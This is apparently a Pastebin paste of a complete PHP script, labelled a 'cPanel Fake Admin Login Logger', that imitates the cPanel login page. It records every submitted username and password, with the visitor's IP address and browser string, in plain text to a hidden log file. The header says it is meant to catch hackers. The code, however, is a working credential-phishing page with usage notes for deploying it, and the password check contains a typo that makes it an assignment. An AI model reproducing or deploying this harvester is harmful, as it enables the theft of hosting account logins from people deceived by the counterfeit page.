Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- _____ _____ _ _____ _____ _____ _____ _____ _____
- ___| | __ |_| _ |_ _|___ ___|_ _| __| _ | |
- |_ -| --| -| | __| | | |- _|___| | | | __| | | | |
- |___|_____|__|__|_|__| |_| |___| |_| |_____|__|__|_|_|_|
- |s C R i P T z - T E A M . i N F O|
- cPanel Fake Admin Login Logger - Catch "HACKERS"
- USAGE:
- Create file in folder /cpanel/ and call it index.php
- Script itself create new file log.php (Only you can view it!)
- Script will log all incoming logins into log.php
- */
- error_reporting(0);
- if (!file_exists("./log.php"))
- {
- $fp = fopen('log.php', 'w');
- fwrite($fp, '<?php die(""); ?>
- ');
- fclose($fp);
- }
- function get_real_ip()
- {
- if (isset($_SERVER["HTTP_CLIENT_IP"])) {
- return $_SERVER["HTTP_CLIENT_IP"];
- } elseif (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
- return $_SERVER["HTTP_X_FORWARDED_FOR"];
- } elseif (isset($_SERVER["HTTP_X_FORWARDED"])) {
- return $_SERVER["HTTP_X_FORWARDED"];
- } elseif (isset($_SERVER["HTTP_FORWARDED_FOR"])) {
- return $_SERVER["HTTP_FORWARDED_FOR"];
- } elseif (isset($_SERVER["HTTP_FORWARDED"])) {
- return $_SERVER["HTTP_FORWARDED"];
- } else {
- return $_SERVER["REMOTE_ADDR"];
- }
- }
- if (isset($_POST["user"]) && $_POST["user"] != "" && $_POST["pass"] =! "")
- {
- $usr = $_POST["user"];
- $pwd = $_POST["pass"];
- $ip = get_real_ip();
- $ua = $_SERVER['HTTP_USER_AGENT'];
- $fp = fopen('log.php', 'a+');
- fwrite($fp, "/**************/\nUSER: ".$usr."\nPASSWD: ".$pwd."\nIP: ".$ip."\nUSER AGENT: ".$ua."\n/**************/\n\n");
- fclose($fp);
- }
- ?>
- <!DOCTYPE html>
- <html dir="ltr"><head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <title>cPanel Login</title>
- <link rel="shortcut icon" href="http://x3demob.cpx3demo.com:2082/cPanel_magic_revision_1345679761/unprotected/cpanel/favicon.ico">
- <!-- EXTERNAL CSS -->
- <link href="http://x3demob.cpx3demo.com:2082/cPanel_magic_revision_1345679761/unprotected/cpanel/style_v2_optimized.css" rel="stylesheet" type="text/css">
- </head>
- <body style="-moz-user-select: text;"><div id="preload_images"></div>
- <div style="opacity: 1; visibility: visible;" id="login-wrapper" class="login-whisp">
- <div style="display:none">
- </div>
- <div id="content-container">
- <div style="opacity: 1; visibility: visible;" id="login-container">
- <div id="login-sub-container">
- <div id="login-sub-header">
- <img src="http://x3demob.cpx3demo.com:2082/cPanel_magic_revision_1345679761/unprotected/cpanel/images/cpanel-logo.png" alt="logo">
- </div>
- <div id="login-sub">
- <div id="forms">
- <form id="login_form" action="" method="post" target="_self">
- <div class="input-req-login"><label for="user">Username</label></div>
- <div class="input-field-login icon username-container">
- <input name="user" id="user" autofocus="autofocus" placeholder="Enter your username." class="std_textbox" autocomplete="off" tabindex="1" required="" type="text">
- </div>
- <div style="margin-top:30px;" class="input-req-login"><label for="pass">Password</label></div>
- <div class="input-field-login icon password-container">
- <input name="pass" id="pass" placeholder="Enter your account password." class="std_textbox" tabindex="2" autocomplete="off" required="" type="password">
- </div>
- <div style="width: 285px;">
- <div class="login-btn">
- <button name="login" type="submit" id="login_submit" tabindex="3">Log in</button>
- </div>
- </div>
- <div class="clear" id="push"></div>
- </form>
- <!--CLOSE forms -->
- </div>
- <!--CLOSE login-sub -->
- </div>
- <!--CLOSE login-sub-container -->
- </div>
- <!--CLOSE login-container -->
- </div>
- <div style="display: block; opacity: 1; visibility: visible;" id="locale-footer">
- <div class="locale-container">
- <noscript>
- <form method="get" action=".">
- <select name="locale">
- <option value="">Change locale</option>
- <option value='en'>English</option><option value='ar'>العربية</option><option value='de'>Deutsch</option><option value='es'>español</option><option value='es_es'>español de España</option><option value='fr'>français</option><option value='hi'>हिन्दी</option><option value='nl'>Nederlands</option><option value='pl'>polski</option><option value='pt'>portuguĂŞs</option><option value='pt_br'>portuguĂŞs do Brasil</option><option value='ro'>românÄ</option><option value='ru'>Ń€ŃŃŃкий</option><option value='zh'>ä¸ć–‡</option> </select>
- <button style="margin-left: 10px" type="submit">Change</button>
- </form>
- <style type="text/css">#locales_list {display:none}</style>
- </noscript>
- <ul id="locales_list">
- <li><a href="?locale=en">English</a></li>
- <li><a href="?locale=ar">العربية</a></li>
- <li><a href="?locale=de">Deutsch</a></li>
- <li><a href="?locale=es">español</a></li>
- <li><a href="?locale=es_es">español de España</a></li>
- <li><a href="?locale=fr">français</a></li>
- <li><a href="?locale=hi">हिन्दी</a></li>
- <li><a href="?locale=nl">Nederlands</a></li>
- <li><a href="javascript:void(0)" id="morelocale" onclick="toggle_locales(true)" title="More locales">…</a></li>
- </ul>
- </div>
- </div>
- </div>
- <!--Close login-wrapper -->
- </div>
- <div class="copyright">Copyright © 2012 cPanel, Inc.</div>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement